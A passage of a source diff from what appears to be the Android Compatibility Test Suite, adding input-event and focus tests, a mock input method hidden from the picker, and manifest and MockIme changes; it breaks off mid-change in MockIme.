+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.input.cts
+
+import android.content.BroadcastReceiver
+import android.content.Context
+import android.content.Intent
+import android.content.IntentFilter
+import android.os.Handler
+import android.os.HandlerThread
+import android.os.Looper
+import android.os.SystemClock
+import android.view.InputDevice
+import android.view.MotionEvent
+import android.view.MotionEvent.ACTION_DOWN
+import android.view.MotionEvent.ACTION_MOVE
+import android.view.View
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import androidx.test.filters.MediumTest
+import androidx.test.platform.app.InstrumentationRegistry
+import androidx.test.rule.ActivityTestRule
+import com.android.compatibility.common.util.PollingCheck
+import org.junit.Before
+import org.junit.Rule
+import org.junit.Test
+import org.junit.runner.RunWith
+import java.util.concurrent.atomic.AtomicBoolean
+import kotlin.concurrent.thread
+
+private const val OVERLAY_ACTIVITY_FOCUSED = "android.input.cts.action.OVERLAY_ACTIVITY_FOCUSED"
+
+private fun getViewCenterOnScreen(v: View): Pair<Float, Float> {
+    val location = IntArray(2)
+    v.getLocationOnScreen(location)
+    val x = location[0].toFloat() + v.width / 2
+    val y = location[1].toFloat() + v.height / 2
+    return Pair(x, y)
+}
+
+/**
+ * When OverlayActivity receives focus, it will send out the OVERLAY_ACTIVITY_FOCUSED broadcast.
+ */
+class OverlayFocusedBroadcastReceiver : BroadcastReceiver() {
+    private val mIsFocused = AtomicBoolean(false)
+    override fun onReceive(context: Context, intent: Intent) {
+        mIsFocused.set(true)
+    }
+
+    fun overlayActivityIsFocused(): Boolean {
+        return mIsFocused.get()
+    }
+}
+
+/**
+ * This test injects an incomplete event stream and makes sure that the app processes it correctly.
+ * If it does not process it correctly, it can get ANRd.
+ *
+ * This test reproduces a bug where there was incorrect consumption logic in the InputEventReceiver
+ * jni code. If the system has this bug, this test ANRs.
+ * The bug occurs when the app consumes a focus event right after a batched MOVE event.
+ * In this test, we take care to write a batched MOVE event and a focus event prior to unblocking
+ * the UI thread to let the app process these events.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4::class)
+class IncompleteMotionTest {
+    @get:Rule
+    var mActivityRule: ActivityTestRule<IncompleteMotionActivity> =
+            ActivityTestRule(IncompleteMotionActivity::class.java)
+    lateinit var mActivity: IncompleteMotionActivity
+    val mInstrumentation = InstrumentationRegistry.getInstrumentation()
+
+    @Before
+    fun setUp() {
+        mActivity = mActivityRule.getActivity()
+        PollingCheck.waitFor { mActivity.hasWindowFocus() }
+    }
+
+    /**
+     * Check that MOVE event is received by the activity, even if it's coupled with a FOCUS event.
+     */
+    @Test
+    fun testIncompleteMotion() {
+        val downTime = SystemClock.uptimeMillis()
+        val (x, y) = getViewCenterOnScreen(mActivity.window.decorView)
+
+        // Start a valid touch stream
+        sendEvent(downTime, ACTION_DOWN, x, y, true /*sync*/)
+        // Lock up the UI thread. This ensures that the motion event that we will write will
+        // not get processed by the app right away.
+        mActivity.runOnUiThread {
+            val sendMoveAndFocus = thread(start = true) {
+                sendEvent(downTime, ACTION_MOVE, x, y + 10, false /*sync*/)
+                // The MOVE event is sent async because the UI thread is blocked.
+                // Give dispatcher some time to send it to the app
+                SystemClock.sleep(700)
+
+                val handlerThread = HandlerThread("Receive broadcast from overlay activity")
+                handlerThread.start()
+                val looper: Looper = handlerThread.looper
+                val handler = Handler(looper)
+                val receiver = OverlayFocusedBroadcastReceiver()
+                val intentFilter = IntentFilter(OVERLAY_ACTIVITY_FOCUSED)
+                mActivity.registerReceiver(receiver, intentFilter, null, handler)
+
+                // Now send hasFocus=false event to the app by launching a new focusable window
+                startOverlayActivity()
+                PollingCheck.waitFor { receiver.overlayActivityIsFocused() }
+                mActivity.unregisterReceiver(receiver)
+                handlerThread.quit()
+                // We need to ensure that the focus event has been written to the app's socket
+                // before unblocking the UI thread. Having the overlay activity receive
+                // hasFocus=true event is a good proxy for that. However, it does not guarantee
+                // that dispatcher has written the hasFocus=false event to the current activity.
+                // For safety, add another small sleep here
+                SystemClock.sleep(300)
+            }
+            sendMoveAndFocus.join()
+        }
+        PollingCheck.waitFor { !mActivity.hasWindowFocus() }
+        // If the platform implementation has a bug, it would consume both MOVE and FOCUS events,
+        // but will only call 'finish' for the focus event.
+        // The MOVE event would not be propagated to the app, because the Choreographer
+        // callback never gets scheduled
+        // If we wait too long here, we will cause ANR (if the platform has a bug).
+        // If the MOVE event is received, however, we can stop the test.
+        PollingCheck.waitFor { mActivity.receivedMove() }
+    }
+
+    private fun sendEvent(downTime: Long, action: Int, x: Float, y: Float, sync: Boolean) {
+        val eventTime = when (action) {
+            ACTION_DOWN -> downTime
+            else -> SystemClock.uptimeMillis()
+        }
+        val event = MotionEvent.obtain(downTime, eventTime, action, x, y, 0 /*metaState*/)
+        event.source = InputDevice.SOURCE_TOUCHSCREEN
+        mInstrumentation.uiAutomation.injectInputEvent(event, sync)
+    }
+
+    /**
+     * Start an activity that overlays the main activity. This is needed in order to move the focus
+     * to the newly launched activity, thus causing the bottom activity to lose focus.
+     * This activity is not full-screen, in order to prevent the bottom activity from receiving an
+     * onStop call. In the previous platform implementation, the ANR behaviour was incorrectly
+     * fixed by consuming events from the onStop event.
+     * Because the bottom activity's UI thread is locked, use 'am start' to start the new activity
+     */
+    private fun startOverlayActivity() {
+        val flags = " -W -n "
+        val startCmd = "am start $flags android.input.cts/.OverlayActivity"
+        mInstrumentation.uiAutomation.executeShellCommand(startCmd)
+    }
+}
diff --git a/tests/input/src/android/input/cts/InputShellCommandTest.kt b/tests/input/src/android/input/cts/InputShellCommandTest.kt
new file mode 100644
index 0000000..4555b5d
--- /dev/null
+++ b/tests/input/src/android/input/cts/InputShellCommandTest.kt
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.input.cts
+
+import android.view.MotionEvent
+import android.view.View
+import androidx.test.ext.junit.runners.AndroidJUnit4
+import androidx.test.filters.MediumTest
+import androidx.test.platform.app.InstrumentationRegistry
+import androidx.test.rule.ActivityTestRule
+import com.android.compatibility.common.util.PollingCheck
+import com.android.compatibility.common.util.ShellUtils
+import com.google.common.truth.Truth.assertThat
+import org.junit.Before
+import org.junit.Rule
+import org.junit.Test
+import org.junit.runner.RunWith
+
+private fun getViewCenterOnScreen(v: View): Pair<Int, Int> {
+    val location = IntArray(2)
+    v.getLocationOnScreen(location)
+    val x = location[0] + v.width / 2
+    val y = location[1] + v.height / 2
+    return Pair(x, y)
+}
+
+/**
+ * Tests for the 'adb shell input' command.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4::class)
+class InputShellCommandTest {
+    @get:Rule
+    var mActivityRule: ActivityTestRule<CaptureEventActivity> =
+            ActivityTestRule(CaptureEventActivity::class.java)
+    lateinit var mActivity: CaptureEventActivity
+    val mInstrumentation = InstrumentationRegistry.getInstrumentation()
+
+    @Before
+    fun setUp() {
+        mActivity = mActivityRule.getActivity()
+        PollingCheck.waitFor { mActivity.hasWindowFocus() }
+    }
+
+    /**
+     * Check the tool type set by default by "input tap" command
+     */
+    @Test
+    fun testDefaultToolType() {
+        val (x, y) = getViewCenterOnScreen(mActivity.window.decorView)
+
+        ShellUtils.runShellCommand("input tap $x $y")
+        assertTapToolType(MotionEvent.TOOL_TYPE_FINGER)
+    }
+
+    /**
+     * Check that the tool type of the injected events changes according to the event source.
+     */
+    @Test
+    fun testToolType() {
+        val (x, y) = getViewCenterOnScreen(mActivity.window.decorView)
+
+        ShellUtils.runShellCommand("input touchscreen tap $x $y")
+        assertTapToolType(MotionEvent.TOOL_TYPE_FINGER)
+
+        ShellUtils.runShellCommand("input touchpad tap $x $y")
+        assertTapToolType(MotionEvent.TOOL_TYPE_FINGER)
+
+        ShellUtils.runShellCommand("input touchnavigation tap $x $y")
+        assertTapToolType(MotionEvent.TOOL_TYPE_FINGER)
+
+        ShellUtils.runShellCommand("input stylus tap $x $y")
+        assertTapToolType(MotionEvent.TOOL_TYPE_STYLUS)
+
+        ShellUtils.runShellCommand("input mouse tap $x $y")
+        assertTapToolType(MotionEvent.TOOL_TYPE_MOUSE)
+
+        ShellUtils.runShellCommand("input trackball tap $x $y")
+        assertTapToolType(MotionEvent.TOOL_TYPE_MOUSE)
+
+        ShellUtils.runShellCommand("input joystick tap $x $y")
+        assertTapToolType(MotionEvent.TOOL_TYPE_UNKNOWN)
+    }
+
+    private fun getMotionEvent(): MotionEvent {
+        val event = mActivity.getLastInputEvent()
+        assertThat(event).isNotNull()
+        assertThat(event).isInstanceOf(MotionEvent::class.java)
+        return event as MotionEvent
+    }
+
+    private fun assertToolType(event: MotionEvent, toolType: Int) {
+        val pointerProperties = MotionEvent.PointerProperties()
+        for (i in 0 until event.pointerCount) {
+            event.getPointerProperties(i, pointerProperties)
+            assertThat(toolType).isEqualTo(pointerProperties.toolType)
+        }
+    }
+
+    private fun assertTapToolType(toolType: Int) {
+        var event = getMotionEvent()
+        assertThat(event.action).isEqualTo(MotionEvent.ACTION_DOWN)
+        assertToolType(event, toolType)
+
+        event = getMotionEvent()
+        assertThat(event.action).isEqualTo(MotionEvent.ACTION_UP)
+        assertToolType(event, toolType)
+    }
+}
diff --git a/tests/input/src/android/input/cts/OverlayActivity.kt b/tests/input/src/android/input/cts/OverlayActivity.kt
new file mode 100644
index 0000000..a709a4e
--- /dev/null
+++ b/tests/input/src/android/input/cts/OverlayActivity.kt
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.input.cts
+
+import android.app.Activity
+import android.content.Intent
+
+private const val OVERLAY_ACTIVITY_FOCUSED = "android.input.cts.action.OVERLAY_ACTIVITY_FOCUSED"
+
+class OverlayActivity : Activity() {
+    override fun onWindowFocusChanged(hasFocus: Boolean) {
+        super.onWindowFocusChanged(hasFocus)
+        if (hasFocus) {
+            sendBroadcast(Intent(OVERLAY_ACTIVITY_FOCUSED))
+        }
+    }
+}
diff --git a/tests/inputmethod/Android.bp b/tests/inputmethod/Android.bp
index b4fb708..ceb6d02 100644
--- a/tests/inputmethod/Android.bp
+++ b/tests/inputmethod/Android.bp
@@ -32,10 +32,13 @@
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "CtsMockInputMethodLib",
+        "CtsMockSpellCheckerLib",
         "testng",
+        "kotlin-test",
     ],
     srcs: [
         "src/**/*.java",
+        "src/**/*.kt",
         "src/**/I*.aidl",
     ],
     aidl: {
diff --git a/tests/inputmethod/AndroidManifest.xml b/tests/inputmethod/AndroidManifest.xml
index 3c754de..7e7ec45 100644
--- a/tests/inputmethod/AndroidManifest.xml
+++ b/tests/inputmethod/AndroidManifest.xml
@@ -16,65 +16,63 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.view.inputmethod.cts"
-    android:targetSandboxVersion="2">
+     package="android.view.inputmethod.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
-    <application
-        android:label="CtsInputMethodTestCases"
-        android:multiArch="true"
-        android:supportsRtl="true">
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+    <application android:label="CtsInputMethodTestCases"
+         android:multiArch="true"
+         android:supportsRtl="true">
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:name="android.view.inputmethod.cts.InputMethodCtsActivity"
-            android:label="InputMethodCtsActivity">
+        <activity android:name="android.view.inputmethod.cts.util.TestActivity"
+             android:label="TestActivity"
+             android:configChanges="fontScale"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+        <activity android:name="android.view.inputmethod.cts.util.TestActivity2"
+                  android:label="TestActivity2"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
-        <activity
-            android:name="android.view.inputmethod.cts.util.TestActivity"
-            android:label="TestActivity">
+        <activity android:name="android.view.inputmethod.cts.util.StateInitializeActivity"
+             android:label="StateInitializeActivity"
+             android:configChanges="fontScale"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
-            </intent-filter>
-        </activity>
-
-        <activity
-            android:name="android.view.inputmethod.cts.util.StateInitializeActivity"
-            android:label="StateInitializeActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <!--
-          In order to test window-focus-stealing from other process, let this service run in a
-          separate process. -->
+                      In order to test window-focus-stealing from other process, let this service run in a
+                      separate process. -->
         <service android:name="android.view.inputmethod.cts.util.WindowFocusStealerService"
-            android:process=":focusstealer"
-            android:exported="false">
+             android:process=":focusstealer"
+             android:exported="false">
         </service>
 
         <service android:name="android.view.inputmethod.cts.util.WindowFocusHandleService"
-                 android:exported="false">
+             android:exported="false">
         </service>
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="CTS tests of android.view.inputmethod"
-        android:targetPackage="android.view.inputmethod.cts">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="CTS tests of android.view.inputmethod"
+         android:targetPackage="android.view.inputmethod.cts">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
index dc81b26..dfead81 100644
--- a/tests/inputmethod/AndroidTest.xml
+++ b/tests/inputmethod/AndroidTest.xml
@@ -36,6 +36,33 @@
         <option name="force-install-mode" value="FULL"/>
         <option name="test-file-name" value="CtsMockInputMethod.apk" />
     </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <!--
+            MockSpellChecker always needs to be instaleld as a full package, even when CTS is
+            running for instant apps.
+        -->
+        <option name="force-install-mode" value="FULL"/>
+        <option name="test-file-name" value="CtsMockSpellChecker.apk" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <!--
+            SpellCheckingIme always needs to be instaleld as a full package, even when CTS is
+            running for instant apps.
+        -->
+        <option name="force-install-mode" value="FULL"/>
+        <option name="test-file-name" value="CtsSpellCheckingIme.apk" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <!--
+            HiddenFromPickerIme always needs to be installed as a full package, even when CTS is
+            running for instant apps.
+        -->
+        <option name="force-install-mode" value="FULL"/>
+        <option name="test-file-name" value="CtsHiddenFromPickerIme.apk" />
+    </target_preparer>
     <!--
         TODO(yukawa): come up with a proper way to take care of devices that do not support
         installable IMEs.  Ideally target_preparer should have an option to annotate required
@@ -74,6 +101,8 @@
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS com.android.cts.mockime"  />
         <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS com.android.cts.mockime" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.view.inputmethod.ctstestapp"  />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.view.inputmethod.ctstestapp" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.view.inputmethod.cts" />
diff --git a/tests/inputmethod/hiddenfrompickerime/Android.bp b/tests/inputmethod/hiddenfrompickerime/Android.bp
new file mode 100644
index 0000000..155cc6a
--- /dev/null
+++ b/tests/inputmethod/hiddenfrompickerime/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsHiddenFromPickerIme",
+    srcs: ["src/**/*.java"],
+    defaults: ["cts_defaults"],
+    optimize: {
+        enabled: false,
+    },
+    sdk_version: "current",
+    min_sdk_version: "31",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+    static_libs: [
+        "androidx.annotation_annotation",
+    ],
+}
diff --git a/tests/inputmethod/hiddenfrompickerime/AndroidManifest.xml b/tests/inputmethod/hiddenfrompickerime/AndroidManifest.xml
new file mode 100644
index 0000000..1188cd5
--- /dev/null
+++ b/tests/inputmethod/hiddenfrompickerime/AndroidManifest.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.hiddenfrompickerime">
+
+    <application android:multiArch="true"
+         android:supportsRtl="true">
+
+        <meta-data android:name="instantapps.clients.allowed"
+             android:value="true"/>
+
+        <service android:name=".HiddenFromPickerIme"
+             android:label="Non User Selectable IME"
+             android:permission="android.permission.BIND_INPUT_METHOD"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.view.InputMethod"/>
+            </intent-filter>
+            <meta-data android:name="android.view.im"
+                 android:resource="@xml/method"/>
+        </service>
+
+    </application>
+</manifest>
diff --git a/tests/inputmethod/hiddenfrompickerime/res/xml/method.xml b/tests/inputmethod/hiddenfrompickerime/res/xml/method.xml
new file mode 100644
index 0000000..c69bac2
--- /dev/null
+++ b/tests/inputmethod/hiddenfrompickerime/res/xml/method.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<input-method xmlns:android="http://schemas.android.com/apk/res/android"
+              android:showInInputMethodPicker="false">
+</input-method>
diff --git a/tests/inputmethod/hiddenfrompickerime/src/com/android/cts/hiddenfrompickerime/HiddenFromPickerIme.java b/tests/inputmethod/hiddenfrompickerime/src/com/android/cts/hiddenfrompickerime/HiddenFromPickerIme.java
new file mode 100644
index 0000000..ed0b83e
--- /dev/null
+++ b/tests/inputmethod/hiddenfrompickerime/src/com/android/cts/hiddenfrompickerime/HiddenFromPickerIme.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.hiddenfrompickerime;
+
+import android.inputmethodservice.InputMethodService;
+import android.view.View;
+import android.widget.LinearLayout;
+
+/**
+ * Mock IME with android:showInInputMethodPicker="false".
+ */
+public final class HiddenFromPickerIme extends InputMethodService {
+
+    @Override
+    public View onCreateInputView() {
+        return new LinearLayout(this);
+    }
+}
diff --git a/tests/inputmethod/mockime/Android.bp b/tests/inputmethod/mockime/Android.bp
index cd64729..5ee0505 100644
--- a/tests/inputmethod/mockime/Android.bp
+++ b/tests/inputmethod/mockime/Android.bp
@@ -45,6 +45,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
         "sts",
     ],
     static_libs: [
diff --git a/tests/inputmethod/mockime/AndroidManifest.xml b/tests/inputmethod/mockime/AndroidManifest.xml
index 83d8f3f..5978c17 100644
--- a/tests/inputmethod/mockime/AndroidManifest.xml
+++ b/tests/inputmethod/mockime/AndroidManifest.xml
@@ -16,31 +16,29 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.mockime">
+     package="com.android.cts.mockime">
 
-    <application
-        android:multiArch="true"
-        android:supportsRtl="true">
+    <application android:multiArch="true"
+         android:supportsRtl="true">
 
-        <meta-data android:name="instantapps.clients.allowed" android:value="true" />
+        <meta-data android:name="instantapps.clients.allowed"
+             android:value="true"/>
 
-        <service
-            android:name="com.android.cts.mockime.MockIme"
-            android:label="Mock IME"
-            android:permission="android.permission.BIND_INPUT_METHOD">
+        <service android:name="com.android.cts.mockime.MockIme"
+             android:label="Mock IME"
+             android:permission="android.permission.BIND_INPUT_METHOD"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.view.InputMethod" />
+                <action android:name="android.view.InputMethod"/>
             </intent-filter>
-            <meta-data
-                android:name="android.view.im"
-                android:resource="@xml/method" />
+            <meta-data android:name="android.view.im"
+                 android:resource="@xml/method"/>
         </service>
 
-        <provider
-            android:authorities="com.android.cts.mockime.provider"
-            android:name="com.android.cts.mockime.SettingsProvider"
-            android:exported="true"
-            android:visibleToInstantApps="true">
+        <provider android:authorities="com.android.cts.mockime.provider"
+             android:name="com.android.cts.mockime.SettingsProvider"
+             android:exported="true"
+             android:visibleToInstantApps="true">
         </provider>
 
     </application>
diff --git a/tests/inputmethod/mockime/TEST_MAPPING b/tests/inputmethod/mockime/TEST_MAPPING
new file mode 100644
index 0000000..e3b4915
--- /dev/null
+++ b/tests/inputmethod/mockime/TEST_MAPPING
@@ -0,0 +1,15 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsWindowManagerDeviceTestCases",
+      "options": [
+        {
+          "include-filter": "android.server.wm.WindowInsetsAnimationControllerTests"
+        },
+        {
+          "exclude-annotation": "androidx.test.filters.FlakyTest"
+        }
+      ]
+    }
+  ]
+}
diff --git a/tests/inputmethod/mockime/res/xml/method.xml b/tests/inputmethod/mockime/res/xml/method.xml
index 5b3cf85..48f4a78 100644
--- a/tests/inputmethod/mockime/res/xml/method.xml
+++ b/tests/inputmethod/mockime/res/xml/method.xml
@@ -16,5 +16,6 @@
 -->
 
 <input-method xmlns:android="http://schemas.android.com/apk/res/android"
-              android:supportsInlineSuggestions="true">
+              android:supportsInlineSuggestions="true"
+              android:configChanges="fontScale">
 </input-method>
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
index 4e62194..5f88d27 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
@@ -160,6 +160,15 @@
     }
 
     /**
+     * Returns a matcher to check if the {@code name} is from
+     * {@code MockIme.Tracer#onVerify(String, BooleanSupplier)}
+     */
+    public static Predicate<ImeEvent> verificationMatcher(@NonNull String name) {
+        return event -> "onVerify".equals(event.getEventName())
+                && name.equals(event.getArguments().getString("name"));
+    }
+
+    /**
     * Checks if {@code eventName} has occurred on the EditText(or TextView) of the current
     * activity.
     * @param eventName event name to check
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
index 6731e85..fdeedfc 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
@@ -53,6 +53,7 @@
     private static final String INLINE_SUGGESTION_VIEW_CONTENT_DESC =
             "InlineSuggestionViewContentDesc";
     private static final String STRICT_MODE_ENABLED = "StrictModeEnabled";
+    private static final String VERIFY_GET_DISPLAY_ON_CREATE = "VerifyGetDisplayOnCreate";
 
     @NonNull
     private final PersistableBundle mBundle;
@@ -132,6 +133,10 @@
         return mBundle.getBoolean(STRICT_MODE_ENABLED, false);
     }
 
+    public boolean isVerifyGetDisplayOnCreate() {
+        return mBundle.getBoolean(VERIFY_GET_DISPLAY_ON_CREATE, false);
+    }
+
     static Bundle serializeToBundle(@NonNull String eventCallbackActionName,
             @Nullable Builder builder) {
         final Bundle result = new Bundle();
@@ -290,5 +295,14 @@
             mBundle.putBoolean(STRICT_MODE_ENABLED, enabled);
             return this;
         }
+
+        /**
+         * Sets whether to verify {@link android.inputmethodservice.InputMethodService#getDisplay()}
+         * or not.
+         */
+        public Builder setVerifyGetDisplayOnCreate(boolean enabled) {
+            mBundle.putBoolean(VERIFY_GET_DISPLAY_ON_CREATE, enabled);
+            return this;
+        }
     }
 }
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
index cb68f93..182bb11 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
@@ -43,6 +43,8 @@
 import android.util.Log;
 import android.util.Size;
 import android.util.TypedValue;
+import android.view.Display;
+import android.view.GestureDetector;
 import android.view.Gravity;
 import android.view.KeyEvent;
 import android.view.View;
@@ -152,6 +154,16 @@
                     throw new IllegalStateException("command " + command
                             + " should be handled on the main thread");
                 }
+                // The context which created from InputMethodService#createXXXContext must behave
+                // like an UI context, which can obtain a display, a window manager,
+                // a view configuration and a gesture detector instance without strict mode
+                // violation.
+                final Configuration testConfig = new Configuration();
+                testConfig.setToDefaults();
+                final Context configContext = createConfigurationContext(testConfig);
+                final Context attrContext = createAttributionContext(null /* attributionTag */);
+                // UI component accesses on a display context must throw strict mode violations.
+                final Context displayContext = createDisplayContext(getDisplay());
                 switch (command.getName()) {
                     case "getTextBeforeCursor": {
                         final int n = command.getExtras().getInt("n");
@@ -247,6 +259,9 @@
                         final boolean enabled = command.getExtras().getBoolean("enabled");
                         return getCurrentInputConnection().reportFullscreenMode(enabled);
                     }
+                    case "performSpellCheck": {
+                        return getCurrentInputConnection().performSpellCheck();
+                    }
                     case "performPrivateCommand": {
                         final String action = command.getExtras().getString("action");
                         final Bundle data = command.getExtras().getBundle("data");
@@ -311,22 +326,81 @@
                         mInlineSuggestionsExtras = command.getExtras();
                         return ImeEvent.RETURN_VALUE_UNAVAILABLE;
                     case "verifyGetDisplay":
-                        Context configContext = createConfigurationContext(new Configuration());
-                        return getDisplay() != null && configContext.getDisplay() != null;
-                    case "verifyGetWindowManager":
-                        configContext = createConfigurationContext(new Configuration());
-                        return getSystemService(WindowManager.class) != null
-                                && configContext.getSystemService(WindowManager.class) != null;
-                    case "verifyGetViewConfiguration":
-                            configContext = createConfigurationContext(new Configuration());
-                            return ViewConfiguration.get(this) != null
-                                    && ViewConfiguration.get(configContext) != null;
+                        try {
+                            return verifyGetDisplay();
+                        } catch (UnsupportedOperationException e) {
+                            return e;
+                        }
+                    case "verifyGetWindowManager": {
+                        final WindowManager imsWm = getSystemService(WindowManager.class);
